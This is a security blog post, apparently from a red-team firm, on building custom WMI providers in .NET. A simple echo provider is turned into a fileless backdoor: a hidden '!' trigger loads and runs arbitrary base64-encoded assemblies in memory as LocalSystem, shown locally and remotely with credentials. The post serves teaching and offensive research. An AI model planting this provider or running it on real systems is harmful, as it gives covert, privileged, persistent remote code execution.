Skip to Main Content
June 09, 2022

WMI Providers for Script Kiddies

Written by TrustedSec

Introduction

So, this WMI stuff seems legit. Admins get a powerful tool which Script Kiddies can also use for profit. But there’s gotta be more, right? What if I want to take my WMI-fu to the next level?

In the previous blog post, "WMI for Script Kiddies," we described Windows Management Instrumentation (WMI). We detailed the WMI model and architecture and how to use WMI, including some useful tips and tricks for Script Kiddies. In short, WMI is an interface for managed components to provide data and operations to consumers or users. This interface relies on a consumer-provider pattern to abstract the underlying system resources and allows users to query, create, delete, and modify system resources. The operating system includes and maintains the providers, while the users write the scripts or use the programs that consume this data. WMI provides the API and infrastructure that glue these two together. See Figure 1 for a refresher.

In the previous blog post, we focused on the many tools that a typical end-user, such as an Administrator or Script Kiddie, might use to interact with WMI and the underlying system resources, i.e., to consume and manipulate data. These tools include the WMI Command-Line (wmic.exe), the Windows Remote Management Tool (winrm.exe), and PowerShell. However, there are other features that a more advanced hacker or developer might utilize to write their own client applications and scripts. WMI supports an API that is available to multiple programming languages, including C/C++ programs, .NET assemblies, and Windows Script Host (WSH) languages like VBScript and Jscript. This means that a developer could easily create a program or script that uses the WMI API to access managed system resources. These custom programs or scripts could automate the operations that a Script Kiddie might otherwise perform via PowerShell, or they could provide more intricate access to and allow operation of the underlying WMI components. The development of these custom WMI consumer scripts and applications is fairly easy, and there are many examples online, including Microsoft’s online documentation: https://docs.microsoft.com/en-us/windows/win32/wmisdk/creating-wmi-clients.

However, built-in end-user applications and custom applications and scripts are only half of the WMI architecture. These binaries are all on the consumer side of the WMI architecture. In the previous blog, we explained that the lowest level of the WMI architecture is comprised of the WMI providers (see Figure 1). Providers are COM objects that represent and manage the underlying physical or logical components, e.g., processors or processes. The provider COM objects are implemented as either a DLL hosted in the WMI provider service or a separate standalone service executable. A provider represents the underlying component using a class that is defined using a Managed Object Format (MOF) file. The class provides access to the component’s data and could provide methods for manipulating the data or component instances. The operating system comes with numerous built-in providers, including an Active Directory Provider, an Event Log Provider, a Policy Provider, a Security Provider, an SNMP Provider, a System Registry Provider, a Windows Defender Provider, and many more.

So, now for the truly great part: Developers can create their own providers. Yes, you too can create a WMI provider to manipulate and provide data about system resources, and as we can see, providers are definitely the next level.

WMI Providers

Now that’s what I’m talking about! Let’s take the red pill and see how far down the rabbit hole we can go. What can these providers do for me?

As mentioned, WMI gives users and consumers a standardized way to request information about the state of the operating system and its components, invoke methods of these components, or listen for and respond to events from these components. Typically, this information comes from WMI providers that are part of the Windows operating system, but developers can take advantage of this framework to create their own providers that act as part of the system. Most developers shy away from creating WMI or COM objects because they fear complexity, but the WMI framework is easily extensible and provides many benefits, including standardization and automation support, remote capabilities via DCOM and WinRM, WQL support, and event capabilities.

Additionally, WMI is supported by a number of programming languages, including .NET, which we will use in this example. Support for WMI was extended in .NET Framework v3.5. Initially supported via the System.Management.Instrumentation namespace, it now has additional features provided in the Microsoft.Management.Infrastructure namespace.

When creating and deploying your own provider, you generally adhere to the following development process; however, some of these steps are abstracted with the use of the System.Management support libraries.

  1. Create a model for the managed object.
  2. Implement the model for the managed object.
  3. Determine the provider type.
  4. Determine the hosting model for the provider.
  5. Implement the provider.
  6. Install and use the provider.
  7. Uninstall the provider.

Create and Implement a Model for the Managed Object

The first step in developing your own WMI provider is to come up with a data model to represent your managed system resource or object. This object or resource is exposed to consumers by your provider through WMI. The data model should include the properties and methods for your object. The implementation of this model is done using an MOF file. This file contains the class definition representing each object in your data model. The registration of the provider and its classes are included in this MOF file. This MOF file can be compiled using MOFcomp.exe to detect errors and add the provider/class to the WMI repository. .NET helps take care of this step behind the scenes. To create a WMI provider using .NET, you just need to design and implement a .NET class using some specific attributes. So, first we start with a simple .NET class, leaving the special WMI attributes until a little later.

namespace WmiProviderExample
{
  public class Win32_Echo
  {
    public Win32_Echo() { }
               
    // static method that echoes the input
    static public string Echo(string input)
    {
      return "Echo: " + input;
    }
  } // end Win32_Echo class
} // end WmiProviderExample namespace

Code 1 - Simple .NET Class

Determine the Type and Hosting Model for the Provider

WMI supports a variety of provider types, which are determined by the previously designed model. These provider types store and provide information differently and support different operations. A majority of WMI providers are instance providers that represent a specific instance of a class, e.g., a process; however, we will use a simple method provider in our example. The following list contains the most common provider types.

  • Instance provider
  • Method provider
  • Property provider
  • Class provider
  • Event provider
  • Event consumer provider
  • Association provider

Once selecting a provider type, you must determine the hosting model for the provider. WMI providers are implemented as COM objects. The COM objects are contained within either a DLL (coupled) or their own standalone service executable (decoupled). The hosting model also describes the security context for the COM object, e.g., Network Service or System. Coupled providers should be used when the underlying system resource is always available, whereas decoupled providers should be used when the provider needs to control its own lifetime. The most common approach uses the coupled model that hosts the provider DLL within the WMI provider service process (wmiprvse.exe). We will create a coupled provider in our example.

Implement the Provider

After designing the model for the managed object and determining the type and hosting model for the provider, it’s time to start implementing the provider. Again, WMI supports several languages. You could use the ATL Wizard in Visual Studio to generate a coupled provider. You could define your own COM object using an MOF file and then generate the corresponding C++ code using mofcomp.exe. However, you could also use one of the newer and easier methods for implementing a provider: the System.Management.Instrumentation or Microsoft.Management.Infrastructure namespace in the .NET framework. This will abstract many of the details and allow us to create a provider using managed code.

By using the WMI.NET libraries, we just need to add some attributes and integration code to our simple .NET class. These attributes and integration code will help expose our class to WMI and make it available to all consumers.

First, we need to set the WmiConfiguration attribute to signal the hosting model, security context, and WMI namespace that our provider will be using. After specifying the WmiConfiguration, we need to mark the .NET class as being instrumented using the ManagementEntity attribute. This will help WMI generate the corresponding WMI class at deployment and provide the WMI class name for the WMI repository. Next, we need to mark any properties we want to expose to WMI using special attributes: ManagementProbe, ManagementConfiguration, and ManagementKey; however, we are implementing a method provider which does not expose any properties. Methods are marked with the ManagementTask attribute. All of these attributes are used to generate the MOF file that WMI uses for the metadata relating to our provider’s managed object.

In addition to these attributes, there are some runtime requirements. When creating an instance provider, the minimum runtime requirements include a function for getting an instance (ManagementBind) and a function for enumerating instances (ManagmentEnumerator). However, with our method provider, we do not need to have methods for getting or enumerating instances.

Finally, we need to include the function for registering the class with WMI and installing it in an accessible location. To register our WMI provider, we will use the .NET tool InstallUtil.exe, which will invoke our class’s DefaultManagementInstaller. The InstallUtil.exe will look for a class marked with the RunInstaller attribute to determine the installation method. Behind the scenes, the .NET installer assembly will generate the MOF representation of our WMI provider and register it.

To install our WMI provider, we need to place it in an accessible location where WMI can find it. This can be done by placing it in the Global Assembly Cache (GAC) using gacutil.exe or by simply placing our provider DLL in the Web-Based Enterprise Management (WBEM) folder where Windows expects to find WMI files (C:\Windows\System32\wbem\).

Our updated .NET class looks something like this:

using System.Management.Instrumentation;

[assembly: WmiConfiguration(@"root\test", HostingModel = ManagementHostingModel.LocalSystem)]

namespace WmiProviderExample
{
  [System.ComponentModel.RunInstaller(true)]
  public class MyInstall : DefaultManagementInstaller { }

  [ManagementEntity(Name = "Win32_Echo")]
  [ManagementQualifier("Description", Value="Simple echo server.")]
  public class Win32_Echo
  {
    public Win32_Echo() { }
               
    // static method that echoes the input
    [ManagementTask]
    [ManagementQualifier("Description", Value = "Echoes the request.")]
    static public string Echo(string input)
    {
      return "Echo: " + input;
    }
  } // end Win32_Echo class
} // end WmiProviderExample namespace

Code 2 - Management Instrumented .NET Class

Install and Use the Provider

Once we have implemented our provider, we need to install it. As mentioned, the installation procedure requires placing the assembly in an accessible location like the GAC or WBEM directory and registering the class with WMI. The registration process adds the MOF metadata for the class to the WMI repository. Again, most of this installation process will be handled by the WMI.NET library behind the scenes. All we need to do is use the InstallUtil.exe included with the .NET framework.

PS C:\tmp> copy .\Win32_Echo.dll C:\Windows\System32\wbem\
PS C:\tmp> C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\System32\wbem\Win32_Echo.dll
Microsoft (R) .NET Framework Installation utility Version 4.8.4084.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Running a transacted installation.

Beginning the Install phase of the installation.
See the contents of the log file for the C:\Windows\System32\wbem\Win32_Echo.dll assembly's progress.
The file is located at C:\Windows\System32\wbem\Win32_Echo.InstallLog.
Installing assembly 'C:\Windows\System32\wbem\Win32_Echo.dll'.
Affected parameters are:
   logtoconsole =
   logfile = C:\Windows\System32\wbem\Win32_Echo.InstallLog
   assemblypath = C:\Windows\System32\wbem\Win32_Echo.dll
**** WMI schema install start ****
**** WMI schema install start ****
**** WMI schema install end ****

The Install phase completed successfully, and the Commit phase is beginning.
See the contents of the log file for the C:\Windows\System32\wbem\Win32_Echo.dll assembly's progress.
The file is located at C:\Windows\System32\wbem\Win32_Echo.InstallLog.
Committing assembly 'C:\Windows\System32\wbem\Win32_Echo.dll'.
Affected parameters are:
   logtoconsole =
   logfile = C:\Windows\System32\wbem\Win32_Echo.InstallLog
   assemblypath = C:\Windows\System32\wbem\Win32_Echo.dll
Microsoft (R) MOF Compiler Version 10.0.19041.1
Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.
Parsing MOF file: C:\Windows\system32\wbem\Win32_Echo_v2.0.50727.mof
MOF file has been successfully parsed
Storing data in the repository...
Done!



The Commit phase completed successfully.

The transacted install has completed.

Code 3 - Provider Installation

After installing the provider, we can access it with any of the consumers we discussed in the previous blog, e.g., WMIC or PowerShell, or with our own custom application. Our example WMI provider is a method provider which simply exposes a single method (Echo). We should be able to execute this class’s method via PowerShell using the Invoke-WmiMethod cmdlet. Notice the ReturnValue of our method is simply the input argument prepended with the "Echo: " string.

PS C:\tmp> Invoke-WMIMethod -Namespace ROOT\test -Class Win32_Echo -Name Echo 
-ArgumentList "Hello"


__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      : Echo: Hello
PSComputerName   :

Code 4 – Using the Provider

Uninstall the Provider

Uninstalling the provider is also straightforward and relies on the install utility again. We simply need to pass it the uninstall flag. This will unregister the provider from the WMI database. Then we need to remove it from the GAC or WBEM directory.

PS C:\tmp> C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /u C:\Windows\System32\wbem\Win32_Echo.dll
Microsoft (R) .NET Framework Installation utility Version 4.8.4084.0
Copyright (C) Microsoft Corporation.  All rights reserved.



The uninstall is beginning.
See the contents of the log file for the C:\Windows\System32\wbem\Win32_Echo.dll assembly's progress.
The file is located at C:\Windows\System32\wbem\Win32_Echo.InstallLog.
Uninstalling assembly 'C:\Windows\System32\wbem\Win32_Echo.dll'.
Affected parameters are:
   logtoconsole =
   logfile = C:\Windows\System32\wbem\Win32_Echo.InstallLog
   assemblypath = C:\Windows\System32\wbem\Win32_Echo.dll
Microsoft (R) MOF Compiler Version 10.0.19041.1
Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.
Parsing MOF file: C:\Users\Administrator.TESTING\AppData\Local\Temp\tmp73E6.tmp
MOF file has been successfully parsed
Storing data in the repository...
WARNING: File C:\Users\Administrator.TESTING\AppData\Local\Temp\tmp73E6.tmp does not contain #PRAGMA AUTORECOVER.
If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the new WMI repository.
To include this MOF file when the WMI Repository is automatically reconstructed, place the #PRAGMA AUTORECOVER statement on the first line of the MOF file.
Done!



The uninstall has completed.
PS C:\tmp> del C:\Windows\System32\wbem\Win32_Echo.dll

Code 5 - Provider Uninstallation

Script Kidde Provider

Great… so now I can write my own provider… so what? Where’s the payoff? The final step of all Script Kiddie blogs is supposed to be "profit"!

The previous example demonstrates how to write a fairly simple WMI provider using the Win32_Echo .NET framework. The provider is implemented as a DLL and hosted within the WMI provider service (wmiprvse.exe) running as LocalSystem. Win32_Echo is a method provider that makes a single method available: Echo. Echo can be run via PowerShell, wmic.exe, or any other WMI consumer. The results are returned to the user as a string value.

Hopefully this example has been simple and straightforward, but what more can you do with this provider? The answer is: a lot.

WMI providers occupy the lowest level of the WMI architecture. They manage the underlying system resources and components. As such, they are running as part of the operating system. Most providers are supplied as part of the operating system, but you can implement your own, which means that you can act as part of the operating system. This can give you access and privileges and can act as a form of persistence, since WMI providers can be instantiated or run on-demand. In addition, the WMI architecture allows access to providers across the network, giving you built-in remote access capabilities. So, what can you do with this privileged, persistent, remote access? Anything you want!

There is no shortage of .NET hacking and penetration testing tools, so pick your favorite tool and add it to the basic provider or follow our example and implement a method for executing any arbitrary .NET assembly in memory. In this example, our Echo method is extended and now looks for a secret trigger to activate the Script Kiddie Profit functionality. The Profit function will decode the argument and then load the assembly bytes into memory. Once loaded, it will redirect standard out and standard error before calling the main entry point. Finally, it will return all output to the consumer via the Echo return value.

using System;
using System.IO;
using System.Management.Instrumentation;
using System.Reflection;
using System.Text;

[assembly: WmiConfiguration(@"root\test", HostingModel = ManagementHostingModel.LocalSystem)]

namespace WmiProviderExample
{
  [System.ComponentModel.RunInstaller(true)]
  public class MyInstall : DefaultManagementInstaller { }

  [ManagementEntity(Name = "Win32_Echo")]
  [ManagementQualifier("Description", Value="Simple echo server.")]
  public class Win32_Echo
  {
    // constructor that takes the prompt as a parameter
    public Win32_Echo() { }

    // static method that echos the input
    [ManagementTask]
    [ManagementQualifier("Description", Value = "Echoes the request.")]
    static public string Echo(string input)
    {
      string result = "Echo: " + input;
      // if it is a special command, then profit
      if (input[0] == '!') { result = Profit(input.Substring(1)); }
      return result;
    } // end Echo method

    static private string Profit(string command)
    {
      string result = "Exception: ";
      try
      {
        Assembly assembly = Assembly.Load(Convert.FromBase64String(command));
        MethodInfo method = assembly.EntryPoint;
        object[] methodParameters = new object[] { null };

        // Redirect stdout and stderr 
        MemoryStream outMS = new MemoryStream();
        StreamWriter outSW = new StreamWriter(outMS);
        outSW.AutoFlush = true;
        Console.SetOut(outSW);
        StreamWriter errSW = new StreamWriter(outMS);
        errSW.AutoFlush = true;
        Console.SetError(errSW);

        // Invoke the entry point method 
        method.Invoke(null, methodParameters);

        // Restore stdout and stderr
        StreamWriter stdOutSW = new StreamWriter(Console.OpenStandardOutput());
        stdOutSW.AutoFlush = true;
        Console.SetOut(stdOutSW);
        StreamWriter stdErrSW = new StreamWriter(Console.OpenStandardError());
        stdErrSW.AutoFlush = true;
        Console.SetError(stdErrSW);

        // Capture stdout into a string
        outMS.Seek(0, SeekOrigin.Begin);
        byte[] buf = new byte[16 * 1024];
        using (MemoryStream ms = new MemoryStream())
        {
          int read;
          while ((read = outMS.Read(buf, 0, buf.Length)) > 0) { ms.Write(buf, 0, read); }
          result = Encoding.Default.GetString(ms.ToArray());
        }
      }
      catch (Exception e) { result += e.Message; }
      return result;
    } // end secret Profit function
  } // end Win32_Echo class
} // end WmiProviderExample namespace

Code 6 - Script Kidde Provider

Once implemented and installed, using this new Script Kiddie Provider is fairly straightforward. Again, we will rely on the built-in WMI consumer, PowerShell, but all of this could be done from our own custom program or script. In this example, we read in the binary payload from disk. This binary payload is a simple reconnaissance executable that displays the current user, DNS hostname, and IP address, but you could pick your poison.

Next, we encode the binary payload before finally invoking our provider’s method and passing in the trigger plus the encoded assembly as an argument. We can see that the provider decoded the assembly, loaded the decoded assembly from memory, executed the assembly capturing the assembly’s output, and returned the output to the consumer as the ReturnValue of the Echo method.

PS C:\tmp> .\recon.exe

recon
=============================
userName:  TESTING\Administrator
dnsName:   win10-x86
ipAddress: 192.168.0.104
PS C:\tmp> $exeContent = Get-Content C:\tmp\recon.exe -Encoding byte
PS C:\tmp> $encodedContent = [System.Convert]::ToBase64String($exeContent)
PS C:\tmp> Invoke-WMIMethod -Namespace ROOT\test -Class Win32_Echo -Name Echo -ArgumentList "!$encodedContent"


__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      :
                   recon
                   =============================
                   userName:  TESTING\Administrator
                   dnsName:   win10-x86
                   ipAddress: 192.168.0.104

PSComputerName   :

Code 7 - Using the Script Kiddie Provider

As mentioned previously, one of the added benefits of using the WMI architecture is that it provides persistence and remote access. So, here is the same command issued from a remote system. In this example, we have already installed the Script Kiddie Provider on the target system. Notice: the WMI provider is not installed on our remote system. Instead, we are again relying on the built-in WMI consumer, PowerShell, and the cmdlet, Invoke-WmiMethod, but this time we are also passing in the target computer name and the credentials for the target computer to the Invoke-WmiMethod cmdlet.

To execute the reconnaissance payload on the target system, we first read in the executable, then we encode the binary. The trigger and encoded binary are passed to the provider via the Echo method’s argument. Notice: the binary does not need to exist on target, nor is it written to disk in this operation. On the target system, the WMI architecture relays the method invocation to the Script Kiddie Provider. The provider decodes the binary passed in as a string argument. The decoded binary is loaded from memory and run. The provider captures all output and returns the results, and the WMI architecture relays the results to the remote system. On the remote system, we can see the output of the encoded binary in the ReturnValue of the invoked method.

PS C:\tmp> .\recon.exe

recon
=============================
userName:  WIN10-X64-DEV\todda1
dnsName:   Win10-x64-Dev
ipAddress: 192.168.0.134
PS C:\tmp> $exeContent = Get-Content C:\tmp\recon.exe -Encoding byte
PS C:\tmp> $encodedContent = [System.Convert]::ToBase64String($exeContent)
PS C:\tmp> Invoke-WMIMethod -Credential 192.168.0.104\Administrator -ComputerName 192.168.0.104 -Namespace "ROOT\test" -Class "Win32_Echo" -Name "Echo" -ArgumentList "!$encodedContent"


__GENUS          : 2
__CLASS          : __PARAMETERS
__SUPERCLASS     :
__DYNASTY        : __PARAMETERS
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
ReturnValue      :
                   recon
                   =============================
                   userName:  WIN10-X86\Administrator
                   dnsName:   win10-x86
                   ipAddress: 192.168.0.104

PSComputerName   :

Code 8 - Using the Script Kiddie Provider Remotely

Conclusion

Now that’s what I’m talking about! WMI FTW! I can’t believe it was that easy. Now I have persistence and remote access, and I’m running as SYSTEM, and all I had to do was write an easy-bake .NET provider. Thanks, Microsoft. Now I can provide and consume all the things.

In the introduction to WMI for Script Kiddies, we described the WMI architecture and how administrators and script kiddies alike can consume data. In this blog, we took it to the next level and explained how you can act as part of the system and develop your own provider. When integrating into the WMI architecture, you get a lot of added benefits, including automation support, persistence, and remote connection capabilities.

Developing your own provider and integrating into the WMI architecture is easier than it seems, thanks to the .NET framework and its System.Management.Instrumentation and Microsoft.Management.Infrastructure libraries. With a few simple, additional attributes you can turn your .NET class into a full-blown provider. And after registering it and installing it (again facilitated by the .NET framework), you can be up and running as part of the system. And once you are running as part of the system, the world is your oyster.

We provided a simple proof of concept which uses the WMI.NET libraries to implement a WMI provider. We then extended the provider to include some useful Script Kiddie functionality. This small tool demonstrates the power and simplicity of WMI. Now you too can create your own provider and take your WMI Jedi (or Sith) skills to the next level. And if you would like a jumping-off point, the source code discussed in this blog is available at https://github.com/trustedsec/scriptkiddie-wmi-provider. Just remember to always check your return values.

References

https://docs.microsoft.com/en-us/windows/win32/wmisdk/

https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/cc268228(v=msdn.10)

https://en.wikipedia.org/wiki/Windows_Management_Instrumentation

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

https://www.codeproject.com/articles/25783/wmi-provider-extensions-in-net-3-5